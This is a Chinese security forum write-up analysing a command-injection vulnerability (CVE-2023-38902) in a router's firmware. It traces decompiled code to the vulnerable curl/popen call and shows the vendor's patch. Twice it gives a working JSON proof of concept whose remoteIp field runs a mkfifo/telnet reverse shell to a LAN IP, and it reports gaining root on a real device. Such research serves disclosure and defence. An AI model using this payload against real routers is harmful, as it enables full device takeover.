    v34 = json_object_get_string(v37);
    if ( v34 )
    {
      v35 = strdup(v34);
      *(_DWORD *)(v3 + 12) = v35;
      if ( !v35 )
      {
        v9 = 470;
        goto LABEL_108;
      }
    }
  }
  return v33;//返回堆块地址

将这个堆块装的各种数据绘制成图片可能更直观一些(如下) xxx 代表有些保留字段,或者是一些标志位,它们在后续利用过程中并不重要,暂不详细记录

图片描述

使用 GDB 调试到此处看到的各字段信息如下

image-20230816171530830

parse_obj2_cmd 函数结束后,会执行 pkg_add_cmd(a1, v15) ,它的核心作用就是在 a1 这个数据结构中记录了 v15 的指针,使得后续操作通过 a1 访问到刚刚解析出来的各个字段。不过这 pkg_add_cmd 函数里有一个谜之操作,在这行代码中 *(_DWORD *)(a1 + 92) = a2 + 13 是把 a2 也就是 v15 的值加上了 13 存储到了 a1 中,而通过后续的分析得知,之后访问这个 v15 的堆块是通过 *(a1+92)-13 得到的地址。存的时候 +13 ,访问的时候 -13 ,这里没太理解但并不影响我们后续的分析

触发漏洞的调用链分析

1
main ==> add_pkg_cmd2_task ==> uf_cmd_call ==> ufm_handle ==> remote_call ==>sub_41A148

json 数据解析完成后,会调用 add_pkg_cmd2_task ,该函数通过访问之前解析出的各个字段,判断 method 是不是 devCap ,如果是的话可以调用后续的漏洞函数(不是 devCap 也可以触发漏洞但是调用链走的并不是我分析的这条)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
//add_pkg_cmd2_task
  if ( dword_43897C < 1001 )//这里正常就可以进入
  {
    pthread_mutex_lock(*a1 + 20);
    v3 = (_DWORD *)a1[22];//这个a1[22]也就是上面提到的*(a1+92)
    v4 = v3 - 13;//当时存地址时加了13,这里又减了13,所以v4就是上面记录了解析json各字段的那个堆块地址
    for ( i = *v3 - 52; ; i = *(_DWORD *)(i + 52) - 52 )
    {
      if ( v4 + 13 == a1 + 22 )
      {
        pthread_mutex_unlock(*a1 + 20);
        return 0;
      }
      v6 = malloc(20);
      v7 = (int **)v6;
......
      v10 = (int *)(v6 + 4);
      v7[2] = v10;
      v7[1] = v10;
      *v7 = v4;
      v7[4] = (int *)(v7 + 3);
      v7[3] = (int *)(v7 + 3);
......  
      *v7 = v4;
      v11 = (_DWORD *)*v4;
      v12 = *(_DWORD *)*v4;
      if ( v12 == 3 )//触发uf_cmd_call函数的关键就是method值的操作类型要为devCap,才能执行break跳出循环,调用uf_cmd_call函数(method为devConfig.get时,依然可以完成攻击,不过走的就是其他链了)
        break;
      if ( v12 == 4 )
      {
        gettimeofday(v4 + 5, 0);
        uf_sys_handle(**v7, v4 + 1);
LABEL_22:
        gettimeofday(v4 + 7, 0);
        sub_40B404(v7);
        goto LABEL_23;
      }
      if ( v12 == 2 && !strcmp(v11[1], "get") && !v11[9] && uf_cmd_buf_exist_check(v11[2], 2, v11[3], v4 + 1) )//这个v12也就是解析的Operation type值
      {
......
      }
      sub_40B0C4(v7);
LABEL_23:
      v4 = (int *)i;
    }
    gettimeofday(v4 + 5, 0);
    if ( uf_cmd_call(*v4, v4 + 1) )//后续的漏洞触发是在这个函数中           
      v13 = 2;
    else
      v13 = 1;
    v4[12] = v13;
    goto LABEL_22;
  }
......
  return v1;

uf_cmd_call 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//uf_cmd_call 
  v2 = *(const char **)(a1 + 4);
  if ( !v2 || (v3 = *(_DWORD *)a1, *(_DWORD *)a1 >= 6u) || (v4 = *(const char **)(a1 + 8)) == 0 )//这里检查了operator是否为空,Operation type的合法性检查以及module_value是否存在,在我们发送的报文中是不会进入这个if的
  {
......
  }
  memset(v103, 0, 108);
  if ( v3 == 3 )//因为操作类型设置为devCap,所以这个if可以进来
  {
......
    v5 = *(const char **)(a1 + 20);//这里取了remoteIp字段
    if ( !v5 || !*v5 )//判断remoteIp字段是否存在
      goto LABEL_250;
    v6 = a1;
    if ( !is_self_ip(*(_DWORD *)(v6 + 20)) )//is_self_ip函数正常情况下返回的是0,这个if可以进入
    {
      remote_call((int *)a1, (const char **)a2);//后续的漏洞触发是在这个函数中  
    }
......

remote_call 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//remote_call
  v9 = (const char *)a1[5];// v9为remoteIp字段
  if ( !strcmp(a1[2], dword_4232A8) && *a1 == 5 )// 拿module字段中的值与字符串esw做比较,这个if进不去
  {
......
  }
......
  for ( i = *(const char **)((char *)&sid_list_by_ip + v11); ; i = *(const char **)i )// 这个if会进去
  {
    if ( i == (char *)&sid_list_by_ip + v11 )   // 这个if也会进去
    {
      pthread_rwlock_unlock(&sid_mutex);      
      goto LABEL_35; // 跳转至触发漏洞函数
    }
......
LABEL_35:
  v14 = sub_41A148((int)a1);//该函数存在最终的漏洞点
......
  return 0;

最终存在命令注入的函数 sub_41A148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//sub_41A148
  v2 = *(_DWORD *)(a1 + 24);//v2为remotePwd的值
  v19 = 0;
  if ( v2 )//因为remotePwd字段没有传,所以这里为空,进入else
  {
......
  }
  else
  {
    ufm_read_file("/etc/rg_config/admin", &v19);// 没有这个文件,什么都读不出来
    if ( !v19 )
    {
      v19 = (const char *)strdup("U2FsdGVkX18POF0/cM8IwywAcZUK8zQngpUv7C2zKng=");// 如果什么都没有读到的话,就将这个数据作为v19
......
    }
  }
......
  snprintf(
    v17,
    511,
    "curl -m 5 -s -k -X POST http://%s/cgi-bin/luci/api/auth -H content-type:application/json -d '{\"method\":\"login\",\""
    "params\":{\"username\":\"admini\",\"password\":\"%s\",\"encry\":\"true\"}}'",
    *(const char **)(a1 + 20),//此处会将remoteIp字段拼接进去
    v19);
......
  v18 = 0;
  if ( ufm_popen(v17, &v18) || !v18 )//最终由ufm_popen函数导致了命令执行
  {
    uf_log_printf(uf_log, "ERROR (%s %s %d)curl get sid failed!", "ufm_remote_call.c", "fetch_get_sid", 289);
    return 0;
  }
...... 

上述的调用链已经分析的很清楚了并且都标注在了注释中,理清楚这些后攻击报文的构造就显而易见了。下面说一下我认为有必要提及的两点

为什么 remotePwd 字段无法注入命令?

204 固件中,其实是可以从 remotePwd 字段中注入命令并执行的,而且在最新的固件中,也可以看到这里判断了 remotePwd 是否存在,如果存在的话也可以进行拼接,最终导致命令执行,相关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  v2 = *(_DWORD *)(a1 + 24);//v19为remotePwd的值
  v19 = 0;
  if ( v2 )
  {
    v19 = (const char *)strdup(v2);
.......
  }
......
  snprintf(
    v17,
    511,
    "curl -m 5 -s -k -X POST http://%s/cgi-bin/luci/api/auth -H content-type:application/json -d '{\"method\":\"login\",\""
    "params\":{\"username\":\"admini\",\"password\":\"%s\",\"encry\":\"true\"}}'",
    *(const char **)(a1 + 20),
    v19);//此处是拼接v19的
  if ( ufm_popen(v17, &v18) || !v18 )//loophole
  {
......
  }

但在最新的固件中对 remotePwd 字段注入命令是不成功的。

因为发现在 parse_obj2_cmd 函数中对 json 数据解析时,对于 remotePwd 字段的处理是存在 Bug 的,它限制了 remotePwd 字段要为 array 类型(如下代码所示),但是前端对于 array 类型的 remotePwd 会报错。这里其实能猜测出 remotePwd 字段是 string 类型,实际上代码应该是 json_object_get_type(v37) == 6 。这就导致设置 remotePwd 类型时要么是前端报错,要么是二进制程序中判断这个类型错误,从而阴差阳错的阻止了从这里进行注入

1
if ( json_object_object_get_ex(v38, "remotePwd", &v37) == 1 && json_object_get_type(v37) == 5 )

而在 204 固件中,它的功能实现都是由 lua 语言来完成的,最终命令执行的漏洞点如下(fetch_sid 函数的参数 password 就为 remotePwd 字段),因此在该固件版本中可以从 remotePwd 字段进行注入,而之后的版本因为 Bug 的原因无法进行注入
图片描述

攻击报文为什么这么构造?

攻击报文如下,这些字段都是缺一不可的。而没有出现的字段都是可有可无的

1
2
3
4
5
6
7
{
    "method": "devCap.get",
    "params": {
        "module": "123",
        "remoteIp": "$(mkfifo /tmp/test;telnet 192.168.45.203 6666 0</tmp/test|/bin/sh > /tmp/test)"
    }
}

下面来贴出证明这几个字段缺一不可的关键代码(其实上文的分析中都有提到,这里再汇总一下)

methodparams 不能为空,因为这里有如下检查,如果他们不存在的话会直接返回 -1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  v6 = json_object_object_get_ex(v3, "params", &v18);
  v7 = v4;
  if ( v6 != 1 )
  {
LABEL_27:
    json_object_put(v7);
    return -1;
  }
  if ( json_object_object_get_ex(v4, "method", v19) != 1 )
  {
LABEL_26:
    v7 = v4;
    goto LABEL_27;
  }

module 也必须存在,并且 module 字段是 params 中的一个值。可以看到这里解析出了params ,给到 v38。而后 module 字段是从 v38 也就是 params 中解析出来的,如果 module 字段不存在的话,会执行 return 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  if ( json_object_object_get_ex(a1, "params", &v38) != 1 )//
  {
......
  }
......
  if ( json_object_object_get_ex(v38, "module", &v37) != 1 )
  {
    uf_log_printf(uf_log, "ERROR (%s %s %d)obj_module is null", "sgi.c", "parse_obj2_cmd", 289);
    goto LABEL_109;
  }
 
LABEL_109:
    cmd_msg_free(v3);
    return 0;

而操作类型要设置为 devCap ,下面 if(v3 == 3) 才可以执行到 remote_call 函数。

1
2
3
4
5
6
7
8
9
10
11
if ( v3 == 3 )//因为操作类型设置为devCap,所以这个if可以进来
  {
......
    v5 = *(const char **)(a1 + 20);//这里取了remoteIp字段
    if ( !v5 || !*v5 )//判断remoteIp字段是否存在
      goto LABEL_250;
    v6 = a1;
    if ( !is_self_ip(*(_DWORD *)(v6 + 20)) )//is_self_ip函数正常情况下返回的是0,这个if可以进入
    {
      remote_call((int *)a1, (const char **)a2);//后续的漏洞触发是在这个函数中  
    }

操作符为 get 是因为在 Lua 文件中只有 opt[i]get 的时候才在 devCap 表中定义了字符串 get 所对应函数

1
2
3
4
5
6
7
8
9
10
lua
    if opt[i] == "get" then
        devCap[opt[i]] = function(params)
            local model = require "dev_cap"
            params.method = opt[i]
            params.cfg_cmd = "dev_cap"
            local data, back, ip, password, shell = doParams(params)
            return fetch(model.fetch, shell, params, opt[i], params.module, ip, password)
        end
    end

攻击演示

这里拿在某鱼上买的真机进行测试,目标路由器某型号的版本是 217 。但搭建了 219 的仿真环境也是可以攻击成功的

首先登录路由器的管理后台

image-20240203125506225

然后用 Burp Suite 抓包,拿到 auth 的值

image-20230822171558399

/cgi-bin/luci/api/cmd 发送 POST 报文

POC

1
2
3
4
5
6
7
{
    "method": "devCap.get",
    "params": {
        "module": "123",
        "remoteIp": "$(mkfifo /tmp/test;telnet 192.168.110.171 6666 0</tmp/test|/bin/sh > /tmp/test)"
    }
}

image-20240203125607987

攻击效果

可以看到反弹 shell 成功,此时拿到了路由器的最高权限

image-20230822172340215

修复方案

官方在 226 版本,对上述漏洞发布了补丁

新添加了一个 detect_remoteIp_invalid 函数,该函数检查了 remoteIP 字段是否为纯数字或者字符 . ,因为正常的 IP 应该为 xx.xx.xx.xx 。这相当于对命令注入的字段做了一个过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall detect_remoteIp_invalid(char *buf)
{
  int len; // $v0
  char *v3; // $a0
  char *v4; // $v0
  int v5; // $v1
 
  len = strlen(buf);
  v3 = buf;
  v4 = &buf[len];
  while ( v3 != v4 )
  {
    v5 = *v3;
    if ( (unsigned __int8)(v5 - 48) < 0xAu )
    {
      ++v3;
    }
    else
    {
      ++v3;
      if ( v5 != '.' )
      {
        uf_log_printf(
          uf_log,
          "ERROR (%s %s %d)invalid char: %c, need [number][.][number]!",
          "sgi.c",
          "detect_remoteIp_invalid",
          273,
          v5);
        return -1;
      }
    }
  }
  return 0;
}

参考信息

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-38902


[培训]《安卓高级研修班(网课)》月薪三万计划

收藏
点赞9
打赏
分享
最新回复 (3)
雪    币: 2576
活跃值: (432)
能力值: ( LV2,RANK:85 )
在线值:
发帖
回帖
粉丝
wyfe 2024-2-3 15:51
2
0
厉害的,学习
雪    币: 17901
活跃值: (25552)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2024-2-4 09:32
3
1
感谢分享
雪    币: 183
活跃值: (158)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
Arahat0 2024-2-14 12:12
4
0
学习
游客
登录 | 注册 方可回帖
返回